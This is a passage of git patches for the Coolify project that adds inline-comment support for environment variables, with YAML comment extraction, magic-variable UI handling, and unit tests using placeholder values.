+446,7 @@ function parseEnvFormatToArray($env_file_contents) $remainder = ''; // Check if value starts with quotes - $firstChar = isset($value_and_comment[0]) ? $value_and_comment[0] : ''; + $firstChar = $value_and_comment[0] ?? ''; $isDoubleQuoted = $firstChar === '"'; $isSingleQuoted = $firstChar === "'"; diff --git a/resources/views/livewire/project/shared/environment-variable/add.blade.php b/resources/views/livewire/project/shared/environment-variable/add.blade.php index a17984d21..7d5fabcb7 100644 --- a/resources/views/livewire/project/shared/environment-variable/add.blade.php +++ b/resources/views/livewire/project/shared/environment-variable/add.blade.php @@ -16,7 +16,7 @@
@endif - @if (!$shared) diff --git a/resources/views/livewire/project/shared/environment-variable/all.blade.php b/resources/views/livewire/project/shared/environment-variable/all.blade.php index a009d8d89..f1d108703 100644 --- a/resources/views/livewire/project/shared/environment-variable/all.blade.php +++ b/resources/views/livewire/project/shared/environment-variable/all.blade.php @@ -61,8 +61,8 @@
Environment (secrets) variables for Production.
@forelse ($this->environmentVariables as $env) - + @empty
No environment variables found.
@endforelse @@ -72,27 +72,23 @@
Environment (secrets) variables for Preview Deployments.
@foreach ($this->environmentVariablesPreview as $env) - + @endforeach @endif @else @can('manageEnvironment', $resource) -
- - - - Note: Inline comments with space before # (e.g., KEY=value #comment) are stripped. Values like PASSWORD=pass#word are preserved. Use the Comment field in Normal view to document variables. -
+ + Inline comments with space before # (e.g., KEY=value #comment) are stripped. + @if ($showPreview) - + @endif Save All Environment Variables @@ -101,11 +97,10 @@ label="Production Environment Variables" disabled> @if ($showPreview) - + @endif @endcan @endif -
+ \ No newline at end of file diff --git a/resources/views/livewire/project/shared/environment-variable/show.blade.php b/resources/views/livewire/project/shared/environment-variable/show.blade.php index c2865ccb8..cc95939de 100644 --- a/resources/views/livewire/project/shared/environment-variable/show.blade.php +++ b/resources/views/livewire/project/shared/environment-variable/show.blade.php @@ -15,7 +15,8 @@ @can('delete', $this->env) @@ -24,7 +25,7 @@ @can('update', $this->env)
-
Update @@ -117,8 +118,8 @@
- +
@endcan @else @@ -132,7 +133,8 @@ @endif - + @else
@@ -145,10 +147,12 @@ @endif @if ($is_shared) - + @endif
- + @endif @else @@ -160,7 +164,8 @@ @endif - + @endcan @can('update', $this->env) @@ -213,8 +218,8 @@ @if ($isDisabled) Update Lock - Update Lock - - + \ No newline at end of file From e4cc5c117836ac3dc103e80b921738781c8e5ff8 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 25 Nov 2025 10:11:48 +0100 Subject: [PATCH 016/305] fix: update success message logic to only show when changes are made --- .../Project/Shared/EnvironmentVariable/All.php | 4 ++-- tests/Feature/EnvironmentVariableCommentTest.php | 16 ++++++++-------- 2 files changed, 10 insertions(+), 10 deletions(-) diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/All.php b/app/Livewire/Project/Shared/EnvironmentVariable/All.php index f867aaf3d..12a4cae79 100644 --- a/app/Livewire/Project/Shared/EnvironmentVariable/All.php +++ b/app/Livewire/Project/Shared/EnvironmentVariable/All.php @@ -193,8 +193,8 @@ private function handleBulkSubmit() } } - // Always show success message unless an error occurred - if (! $errorOccurred) { + // Only show success message if changes were actually made and no errors occurred + if ($changesMade && ! $errorOccurred) { $this->dispatch('success', 'Environment variables updated.'); } } diff --git a/tests/Feature/EnvironmentVariableCommentTest.php b/tests/Feature/EnvironmentVariableCommentTest.php index 8b02ad8bf..e7f9a07fb 100644 --- a/tests/Feature/EnvironmentVariableCommentTest.php +++ b/tests/Feature/EnvironmentVariableCommentTest.php @@ -166,8 +166,8 @@ 'resource' => $this->application, 'type' => 'application', ]) - ->set('variablesInput', $bulkContent) - ->call('saveVariables'); + ->set('variables', $bulkContent) + ->call('submit'); // Refresh the environment variable $env->refresh(); @@ -196,8 +196,8 @@ 'resource' => $this->application, 'type' => 'application', ]) - ->set('variablesInput', $bulkContent) - ->call('saveVariables'); + ->set('variables', $bulkContent) + ->call('submit'); // Refresh the environment variable $env->refresh(); @@ -234,8 +234,8 @@ 'resource' => $this->application, 'type' => 'application', ]) - ->set('variablesInput', $bulkContent) - ->call('saveVariables'); + ->set('variables', $bulkContent) + ->call('submit'); // Refresh both variables $env1->refresh(); @@ -258,8 +258,8 @@ 'resource' => $this->application, 'type' => 'application', ]) - ->set('variablesInput', $bulkContent) - ->call('saveVariables'); + ->set('variables', $bulkContent) + ->call('submit'); // Check that variables were created with correct comments $var1 = EnvironmentVariable::where('key', 'NEW_VAR1') From 89192c9862e1d0a2d911fa619bd5caceb80e1bdb Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 25 Nov 2025 10:57:07 +0100 Subject: [PATCH 017/305] feat: add function to extract inline comments from docker-compose YAML environment variables --- bootstrap/helpers/parsers.php | 46 ++- bootstrap/helpers/shared.php | 220 +++++++++++- .../ExtractYamlEnvironmentCommentsTest.php | 334 ++++++++++++++++++ 3 files changed, 586 insertions(+), 14 deletions(-) create mode 100644 tests/Unit/ExtractYamlEnvironmentCommentsTest.php diff --git a/bootstrap/helpers/parsers.php b/bootstrap/helpers/parsers.php index 43ba58e59..3f942547f 100644 --- a/bootstrap/helpers/parsers.php +++ b/bootstrap/helpers/parsers.php @@ -1411,6 +1411,9 @@ function serviceParser(Service $resource): Collection return collect([]); } + // Extract inline comments from raw YAML before Symfony parser discards them + $envComments = extractYamlEnvironmentComments($compose); + $server = data_get($resource, 'server'); $allServices = get_service_templates(); @@ -1694,51 +1697,60 @@ function serviceParser(Service $resource): Collection } // ALWAYS create BOTH base SERVICE_URL and SERVICE_FQDN pairs (without port) + $fqdnKey = "SERVICE_FQDN_{$serviceName}"; $resource->environment_variables()->updateOrCreate([ - 'key' => "SERVICE_FQDN_{$serviceName}", + 'key' => $fqdnKey, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ 'value' => $fqdnValueForEnv, 'is_preview' => false, + 'comment' => $envComments[$fqdnKey] ?? null, ]); + $urlKey = "SERVICE_URL_{$serviceName}"; $resource->environment_variables()->updateOrCreate([ - 'key' => "SERVICE_URL_{$serviceName}", + 'key' => $urlKey, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ 'value' => $url, 'is_preview' => false, + 'comment' => $envComments[$urlKey] ?? null, ]); // For port-specific variables, ALSO create port-specific pairs // If template variable has port, create both URL and FQDN with port suffix if ($parsed['has_port'] && $port) { + $fqdnPortKey = "SERVICE_FQDN_{$serviceName}_{$port}"; $resource->environment_variables()->updateOrCreate([ - 'key' => "SERVICE_FQDN_{$serviceName}_{$port}", + 'key' => $fqdnPortKey, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ 'value' => $fqdnValueForEnvWithPort, 'is_preview' => false, + 'comment' => $envComments[$fqdnPortKey] ?? null, ]); + $urlPortKey = "SERVICE_URL_{$serviceName}_{$port}"; $resource->environment_variables()->updateOrCreate([ - 'key' => "SERVICE_URL_{$serviceName}_{$port}", + 'key' => $urlPortKey, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ 'value' => $urlWithPort, 'is_preview' => false, + 'comment' => $envComments[$urlPortKey] ?? null, ]); } } } $allMagicEnvironments = $allMagicEnvironments->merge($magicEnvironments); if ($magicEnvironments->count() > 0) { - foreach ($magicEnvironments as $key => $value) { - $key = str($key); + foreach ($magicEnvironments as $magicKey => $value) { + $originalMagicKey = $magicKey; // Preserve original key for comment lookup + $key = str($magicKey); $value = replaceVariables($value); $command = parseCommandFromMagicEnvVariable($key); if ($command->value() === 'FQDN') { @@ -1762,13 +1774,14 @@ function serviceParser(Service $resource): Collection $serviceExists->fqdn = $url; $serviceExists->save(); } - $resource->environment_variables()->firstOrCreate([ + $resource->environment_variables()->updateOrCreate([ 'key' => $key->value(), 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ 'value' => $fqdn, 'is_preview' => false, + 'comment' => $envComments[$originalMagicKey] ?? null, ]); } elseif ($command->value() === 'URL') { @@ -1790,24 +1803,26 @@ function serviceParser(Service $resource): Collection $serviceExists->fqdn = $url; $serviceExists->save(); } - $resource->environment_variables()->firstOrCreate([ + $resource->environment_variables()->updateOrCreate([ 'key' => $key->value(), 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ 'value' => $url, 'is_preview' => false, + 'comment' => $envComments[$originalMagicKey] ?? null, ]); } else { $value = generateEnvValue($command, $resource); - $resource->environment_variables()->firstOrCreate([ + $resource->environment_variables()->updateOrCreate([ 'key' => $key->value(), 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ 'value' => $value, 'is_preview' => false, + 'comment' => $envComments[$originalMagicKey] ?? null, ]); } } @@ -2163,18 +2178,20 @@ function serviceParser(Service $resource): Collection return ! str($value)->startsWith('SERVICE_'); }); foreach ($normalEnvironments as $key => $value) { + $originalKey = $key; // Preserve original key for comment lookup $key = str($key); $value = str($value); $originalValue = $value; $parsedValue = replaceVariables($value); if ($parsedValue->startsWith('SERVICE_')) { - $resource->environment_variables()->firstOrCreate([ + $resource->environment_variables()->updateOrCreate([ 'key' => $key, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ 'value' => $value, 'is_preview' => false, + 'comment' => $envComments[$originalKey] ?? null, ]); continue; @@ -2184,13 +2201,14 @@ function serviceParser(Service $resource): Collection } if ($key->value() === $parsedValue->value()) { $value = null; - $resource->environment_variables()->firstOrCreate([ + $resource->environment_variables()->updateOrCreate([ 'key' => $key, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ 'value' => $value, 'is_preview' => false, + 'comment' => $envComments[$originalKey] ?? null, ]); } else { if ($value->startsWith('$')) { @@ -2220,20 +2238,21 @@ function serviceParser(Service $resource): Collection if ($originalValue->value() === $value->value()) { // This means the variable does not have a default value, so it needs to be created in Coolify $parsedKeyValue = replaceVariables($value); - $resource->environment_variables()->firstOrCreate([ + $resource->environment_variables()->updateOrCreate([ 'key' => $parsedKeyValue, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ 'is_preview' => false, 'is_required' => $isRequired, + 'comment' => $envComments[$originalKey] ?? null, ]); // Add the variable to the environment so it will be shown in the deployable compose file $environment[$parsedKeyValue->value()] = $value; continue; } - $resource->environment_variables()->firstOrCreate([ + $resource->environment_variables()->updateOrCreate([ 'key' => $key, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, @@ -2241,6 +2260,7 @@ function serviceParser(Service $resource): Collection 'value' => $value, 'is_preview' => false, 'is_required' => $isRequired, + 'comment' => $envComments[$originalKey] ?? null, ]); } } diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index dc7136275..f2f29bdc6 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -512,6 +512,215 @@ function parseEnvFormatToArray($env_file_contents) return $env_array; } +/** + * Extract inline comments from environment variables in raw docker-compose YAML. + * + * Parses raw docker-compose YAML to extract inline comments from environment sections. + * Standard YAML parsers discard comments, so this pre-processes the raw text. + * + * Handles both formats: + * - Map format: `KEY: "value" # comment` or `KEY: value # comment` + * - Array format: `- KEY=value # comment` + * + * @param string $rawYaml The raw docker-compose.yml content + * @return array Map of environment variable keys to their inline comments + */ +function extractYamlEnvironmentComments(string $rawYaml): array +{ + $comments = []; + $lines = explode("\n", $rawYaml); + $inEnvironmentBlock = false; + $environmentIndent = 0; + + foreach ($lines as $line) { + // Skip empty lines + if (trim($line) === '') { + continue; + } + + // Calculate current line's indentation (number of leading spaces) + $currentIndent = strlen($line) - strlen(ltrim($line)); + + // Check if this line starts an environment block + if (preg_match('/^(\s*)environment\s*:\s*$/', $line, $matches)) { + $inEnvironmentBlock = true; + $environmentIndent = strlen($matches[1]); + + continue; + } + + // Check if this line starts an environment block with inline content (rare but possible) + if (preg_match('/^(\s*)environment\s*:\s*\{/', $line)) { + // Inline object format - not supported for comment extraction + continue; + } + + // If we're in an environment block, check if we've exited it + if ($inEnvironmentBlock) { + // If we hit a line with same or less indentation that's not empty, we've left the block + // Unless it's a continuation of the environment block + $trimmedLine = ltrim($line); + + // Check if this is a new top-level key (same indent as 'environment:' or less) + if ($currentIndent <= $environmentIndent && ! str_starts_with($trimmedLine, '-') && ! str_starts_with($trimmedLine, '#')) { + // Check if it looks like a YAML key (contains : not inside quotes) + if (preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*\s*:/', $trimmedLine)) { + $inEnvironmentBlock = false; + + continue; + } + } + + // Skip comment-only lines + if (str_starts_with($trimmedLine, '#')) { + continue; + } + + // Try to extract environment variable and comment from this line + $extracted = extractEnvVarCommentFromYamlLine($trimmedLine); + if ($extracted !== null && $extracted['comment'] !== null) { + $comments[$extracted['key']] = $extracted['comment']; + } + } + } + + return $comments; +} + +/** + * Extract environment variable key and inline comment from a single YAML line. + * + * @param string $line A trimmed line from the environment section + * @return array|null Array with 'key' and 'comment', or null if not an env var line + */ +function extractEnvVarCommentFromYamlLine(string $line): ?array +{ + $key = null; + $comment = null; + + // Handle array format: `- KEY=value # comment` or `- KEY # comment` + if (str_starts_with($line, '-')) { + $content = ltrim(substr($line, 1)); + + // Check for KEY=value format + if (preg_match('/^([A-Za-z_][A-Za-z0-9_]*)/', $content, $keyMatch)) { + $key = $keyMatch[1]; + // Find comment - need to handle quoted values + $comment = extractCommentAfterValue($content); + } + } + // Handle map format: `KEY: "value" # comment` or `KEY: value # comment` + elseif (preg_match('/^([A-Za-z_][A-Za-z0-9_]*)\s*:/', $line, $keyMatch)) { + $key = $keyMatch[1]; + // Get everything after the key and colon + $afterKey = substr($line, strlen($keyMatch[0])); + $comment = extractCommentAfterValue($afterKey); + } + + if ($key === null) { + return null; + } + + return [ + 'key' => $key, + 'comment' => $comment, + ]; +} + +/** + * Extract inline comment from a value portion of a YAML line. + * + * Handles quoted values (where # inside quotes is not a comment). + * + * @param string $valueAndComment The value portion (may include comment) + * @return string|null The comment text, or null if no comment + */ +function extractCommentAfterValue(string $valueAndComment): ?string +{ + $valueAndComment = ltrim($valueAndComment); + + if ($valueAndComment === '') { + return null; + } + + $firstChar = $valueAndComment[0] ?? ''; + + // Handle case where value is empty and line starts directly with comment + // e.g., `KEY: # comment` becomes `# comment` after ltrim + if ($firstChar === '#') { + $comment = trim(substr($valueAndComment, 1)); + + return $comment !== '' ? $comment : null; + } + + // Handle double-quoted value + if ($firstChar === '"') { + // Find closing quote (handle escaped quotes) + $pos = 1; + $len = strlen($valueAndComment); + while ($pos < $len) { + if ($valueAndComment[$pos] === '\\' && $pos + 1 < $len) { + $pos += 2; // Skip escaped character + + continue; + } + if ($valueAndComment[$pos] === '"') { + // Found closing quote + $remainder = substr($valueAndComment, $pos + 1); + + return extractCommentFromRemainder($remainder); + } + $pos++; + } + + // No closing quote found + return null; + } + + // Handle single-quoted value + if ($firstChar === "'") { + // Find closing quote (single quotes don't have escapes in YAML) + $closingPos = strpos($valueAndComment, "'", 1); + if ($closingPos !== false) { + $remainder = substr($valueAndComment, $closingPos + 1); + + return extractCommentFromRemainder($remainder); + } + + // No closing quote found + return null; + } + + // Unquoted value - find # that's preceded by whitespace + // Be careful not to match # at the start of a value like color codes + if (preg_match('/\s+#\s*(.*)$/', $valueAndComment, $matches)) { + $comment = trim($matches[1]); + + return $comment !== '' ? $comment : null; + } + + return null; +} + +/** + * Extract comment from the remainder of a line after a quoted value. + * + * @param string $remainder Text after the closing quote + * @return string|null The comment text, or null if no comment + */ +function extractCommentFromRemainder(string $remainder): ?string +{ + // Look for # in remainder + $hashPos = strpos($remainder, '#'); + if ($hashPos !== false) { + $comment = trim(substr($remainder, $hashPos + 1)); + + return $comment !== '' ? $comment : null; + } + + return null; +} + function data_get_str($data, $key, $default = null): Stringable { $str = data_get($data, $key, $default) ?? $default; @@ -1345,6 +1554,9 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal { if ($resource->getMorphClass() === \App\Models\Service::class) { if ($resource->docker_compose_raw) { + // Extract inline comments from raw YAML before Symfony parser discards them + $envComments = extractYamlEnvironmentComments($resource->docker_compose_raw); + try { $yaml = Yaml::parse($resource->docker_compose_raw); } catch (\Exception $e) { @@ -1376,7 +1588,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal } $topLevelVolumes = collect($tempTopLevelVolumes); } - $services = collect($services)->map(function ($service, $serviceName) use ($topLevelVolumes, $topLevelNetworks, $definedNetwork, $isNew, $generatedServiceFQDNS, $resource, $allServices) { + $services = collect($services)->map(function ($service, $serviceName) use ($topLevelVolumes, $topLevelNetworks, $definedNetwork, $isNew, $generatedServiceFQDNS, $resource, $allServices, $envComments) { // Workarounds for beta users. if ($serviceName === 'registry') { $tempServiceName = 'docker-registry'; @@ -1722,6 +1934,8 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal $key = str($variableName); $value = str($variable); } + // Preserve original key for comment lookup before $key might be reassigned + $originalKey = $key->value(); if ($key->startsWith('SERVICE_FQDN')) { if ($isNew || $savedService->fqdn === null) { $name = $key->after('SERVICE_FQDN_')->beforeLast('_')->lower(); @@ -1775,6 +1989,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, 'is_preview' => false, + 'comment' => $envComments[$originalKey] ?? null, ]); } // Caddy needs exact port in some cases. @@ -1854,6 +2069,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, 'is_preview' => false, + 'comment' => $envComments[$originalKey] ?? null, ]); } if (! $isDatabase) { @@ -1892,6 +2108,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, 'is_preview' => false, + 'comment' => $envComments[$originalKey] ?? null, ]); } } @@ -1930,6 +2147,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, 'is_preview' => false, + 'comment' => $envComments[$originalKey] ?? null, ]); } } diff --git a/tests/Unit/ExtractYamlEnvironmentCommentsTest.php b/tests/Unit/ExtractYamlEnvironmentCommentsTest.php new file mode 100644 index 000000000..4300b3abf --- /dev/null +++ b/tests/Unit/ExtractYamlEnvironmentCommentsTest.php @@ -0,0 +1,334 @@ +toBe([]); +}); + +test('extractYamlEnvironmentComments extracts inline comments from map format', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + FOO: bar # This is a comment + BAZ: qux +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'FOO' => 'This is a comment', + ]); +}); + +test('extractYamlEnvironmentComments extracts inline comments from array format', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + - FOO=bar # This is a comment + - BAZ=qux +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'FOO' => 'This is a comment', + ]); +}); + +test('extractYamlEnvironmentComments handles quoted values containing hash symbols', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + COLOR: "#FF0000" # hex color code + DB_URL: "postgres://user:pass#123@localhost" # database URL + PLAIN: value # no quotes +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'COLOR' => 'hex color code', + 'DB_URL' => 'database URL', + 'PLAIN' => 'no quotes', + ]); +}); + +test('extractYamlEnvironmentComments handles single quoted values containing hash symbols', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + PASSWORD: 'secret#123' # my password +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'PASSWORD' => 'my password', + ]); +}); + +test('extractYamlEnvironmentComments skips full-line comments', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + # This is a full line comment + FOO: bar # This is an inline comment + # Another full line comment + BAZ: qux +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'FOO' => 'This is an inline comment', + ]); +}); + +test('extractYamlEnvironmentComments handles multiple services', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + WEB_PORT: 8080 # web server port + db: + image: postgres:15 + environment: + POSTGRES_USER: admin # database admin user + POSTGRES_PASSWORD: secret +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'WEB_PORT' => 'web server port', + 'POSTGRES_USER' => 'database admin user', + ]); +}); + +test('extractYamlEnvironmentComments handles variables without values', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + - DEBUG # enable debug mode + - VERBOSE +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'DEBUG' => 'enable debug mode', + ]); +}); + +test('extractYamlEnvironmentComments handles array format with colons', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + - DATABASE_URL: postgres://localhost # connection string +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'DATABASE_URL' => 'connection string', + ]); +}); + +test('extractYamlEnvironmentComments does not treat hash inside unquoted values as comment start', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + API_KEY: abc#def + OTHER: xyz # this is a comment +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + // abc#def has no space before #, so it's not treated as a comment + expect($result)->toBe([ + 'OTHER' => 'this is a comment', + ]); +}); + +test('extractYamlEnvironmentComments handles empty environment section', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + ports: + - "80:80" +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([]); +}); + +test('extractYamlEnvironmentComments handles environment inline format (not supported)', function () { + // Inline format like environment: { FOO: bar } is not supported for comment extraction + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: { FOO: bar } +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + // No comments extracted from inline format + expect($result)->toBe([]); +}); + +test('extractYamlEnvironmentComments handles complex real-world docker-compose', function () { + $yaml = <<<'YAML' +version: "3.8" + +services: + app: + image: myapp:latest + environment: + NODE_ENV: production # Set to development for local + DATABASE_URL: "postgres://user:pass@db:5432/mydb" # Main database + REDIS_URL: "redis://cache:6379" + API_SECRET: "${API_SECRET}" # From .env file + LOG_LEVEL: debug # Options: debug, info, warn, error + ports: + - "3000:3000" + + db: + image: postgres:15 + environment: + POSTGRES_USER: user # Database admin username + POSTGRES_PASSWORD: "${DB_PASSWORD}" + POSTGRES_DB: mydb + + cache: + image: redis:7 + environment: + - REDIS_MAXMEMORY=256mb # Memory limit for cache +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'NODE_ENV' => 'Set to development for local', + 'DATABASE_URL' => 'Main database', + 'API_SECRET' => 'From .env file', + 'LOG_LEVEL' => 'Options: debug, info, warn, error', + 'POSTGRES_USER' => 'Database admin username', + 'REDIS_MAXMEMORY' => 'Memory limit for cache', + ]); +}); + +test('extractYamlEnvironmentComments handles comment with multiple hash symbols', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + environment: + FOO: bar # comment # with # hashes +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'FOO' => 'comment # with # hashes', + ]); +}); + +test('extractYamlEnvironmentComments handles variables with empty comments', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + environment: + FOO: bar # + BAZ: qux # +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + // Empty comments should not be included + expect($result)->toBe([]); +}); + +test('extractYamlEnvironmentComments properly exits environment block on new section', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + FOO: bar # env comment + ports: + - "80:80" # port comment should not be captured + volumes: + - ./data:/data # volume comment should not be captured +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + // Only environment variables should have comments extracted + expect($result)->toBe([ + 'FOO' => 'env comment', + ]); +}); + +test('extractYamlEnvironmentComments handles SERVICE_ variables', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + environment: + SERVICE_FQDN_WEB: /api # Path for the web service + SERVICE_URL_WEB: # URL will be generated + NORMAL_VAR: value # Regular variable +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'SERVICE_FQDN_WEB' => 'Path for the web service', + 'SERVICE_URL_WEB' => 'URL will be generated', + 'NORMAL_VAR' => 'Regular variable', + ]); +}); From d67fcd1dff7fee7bee21bf54e49f7d03f574d431 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 25 Nov 2025 11:23:18 +0100 Subject: [PATCH 018/305] feat: add magic variable detection and update UI behavior accordingly --- .../Shared/EnvironmentVariable/Show.php | 6 + .../environment-variable/show.blade.php | 130 +++++++++------- .../EnvironmentVariableMagicVariableTest.php | 141 ++++++++++++++++++ 3 files changed, 227 insertions(+), 50 deletions(-) create mode 100644 tests/Unit/EnvironmentVariableMagicVariableTest.php diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/Show.php b/app/Livewire/Project/Shared/EnvironmentVariable/Show.php index 75149a0d4..2a18be13c 100644 --- a/app/Livewire/Project/Shared/EnvironmentVariable/Show.php +++ b/app/Livewire/Project/Shared/EnvironmentVariable/Show.php @@ -24,6 +24,8 @@ class Show extends Component public bool $isLocked = false; + public bool $isMagicVariable = false; + public bool $isSharedVariable = false; public string $type; @@ -146,9 +148,13 @@ public function syncData(bool $toModel = false) public function checkEnvs() { $this->isDisabled = false; + $this->isMagicVariable = false; + if (str($this->env->key)->startsWith('SERVICE_FQDN') || str($this->env->key)->startsWith('SERVICE_URL') || str($this->env->key)->startsWith('SERVICE_NAME')) { $this->isDisabled = true; + $this->isMagicVariable = true; } + if ($this->env->is_shown_once) { $this->isLocked = true; } diff --git a/resources/views/livewire/project/shared/environment-variable/show.blade.php b/resources/views/livewire/project/shared/environment-variable/show.blade.php index cc95939de..86faeeeb4 100644 --- a/resources/views/livewire/project/shared/environment-variable/show.blade.php +++ b/resources/views/livewire/project/shared/environment-variable/show.blade.php @@ -40,10 +40,12 @@ - - + @if (!$isMagicVariable) + + + @endif @else @if ($is_shared) @else @if ($isSharedVariable) - + @if (!$isMagicVariable) + + @endif @else @if (!$env->is_nixpacks) - @if (!$env->is_nixpacks) - - @if ($is_multiline === false) - + @if (!$isMagicVariable) + @if (!$env->is_nixpacks) + + @if ($is_multiline === false) + + @endif @endif @endif @endif @@ -86,10 +92,12 @@ - - + @if (!$isMagicVariable) + + + @endif @else @if ($is_shared) @else @if ($isSharedVariable) - + @if (!$isMagicVariable) + + @endif @else - - @if ($is_multiline === false) - + @if (!$isMagicVariable) + + @if ($is_multiline === false) + + @endif @endif @endif @endif @@ -133,8 +145,10 @@ @endif - + @if (!$isMagicVariable) + + @endif @else
@@ -164,8 +178,10 @@ @endif
- + @if (!$isMagicVariable) + + @endif @endcan @can('update', $this->env) @@ -179,10 +195,12 @@ - - + @if (!$isMagicVariable) + + + @endif @else @if ($is_shared) @else @if ($isSharedVariable) - + @if (!$isMagicVariable) + + @endif @else @if (!$env->is_nixpacks) - @if (!$env->is_nixpacks) - - @if ($is_multiline === false) - + @if (!$isMagicVariable) + @if (!$env->is_nixpacks) + + @if ($is_multiline === false) + + @endif @endif @endif @endif @@ -214,8 +236,9 @@ @endif -
- @if ($isDisabled) + @if (!$isMagicVariable) +
+ @if ($isDisabled) Update Lock - @endif -
+ @endif +
+ @endif @else
@@ -247,10 +271,12 @@ - - + @if (!$isMagicVariable) + + + @endif @else @if ($is_shared) @else @if ($isSharedVariable) - + @if (!$isMagicVariable) + + @endif @else - - @if ($is_multiline === false) - + @if (!$isMagicVariable) + + @if ($is_multiline === false) + + @endif @endif @endif @endif diff --git a/tests/Unit/EnvironmentVariableMagicVariableTest.php b/tests/Unit/EnvironmentVariableMagicVariableTest.php new file mode 100644 index 000000000..ae85ba45f --- /dev/null +++ b/tests/Unit/EnvironmentVariableMagicVariableTest.php @@ -0,0 +1,141 @@ +shouldReceive('getAttribute') + ->with('key') + ->andReturn('SERVICE_FQDN_DB'); + $mock->shouldReceive('getAttribute') + ->with('is_shown_once') + ->andReturn(false); + $mock->shouldReceive('getMorphClass') + ->andReturn(EnvironmentVariable::class); + + $component = new Show; + $component->env = $mock; + $component->checkEnvs(); + + expect($component->isMagicVariable)->toBeTrue(); + expect($component->isDisabled)->toBeTrue(); +}); + +test('SERVICE_URL variables are identified as magic variables', function () { + $mock = Mockery::mock(EnvironmentVariable::class); + $mock->shouldReceive('getAttribute') + ->with('key') + ->andReturn('SERVICE_URL_API'); + $mock->shouldReceive('getAttribute') + ->with('is_shown_once') + ->andReturn(false); + $mock->shouldReceive('getMorphClass') + ->andReturn(EnvironmentVariable::class); + + $component = new Show; + $component->env = $mock; + $component->checkEnvs(); + + expect($component->isMagicVariable)->toBeTrue(); + expect($component->isDisabled)->toBeTrue(); +}); + +test('SERVICE_NAME variables are identified as magic variables', function () { + $mock = Mockery::mock(EnvironmentVariable::class); + $mock->shouldReceive('getAttribute') + ->with('key') + ->andReturn('SERVICE_NAME'); + $mock->shouldReceive('getAttribute') + ->with('is_shown_once') + ->andReturn(false); + $mock->shouldReceive('getMorphClass') + ->andReturn(EnvironmentVariable::class); + + $component = new Show; + $component->env = $mock; + $component->checkEnvs(); + + expect($component->isMagicVariable)->toBeTrue(); + expect($component->isDisabled)->toBeTrue(); +}); + +test('regular variables are not magic variables', function () 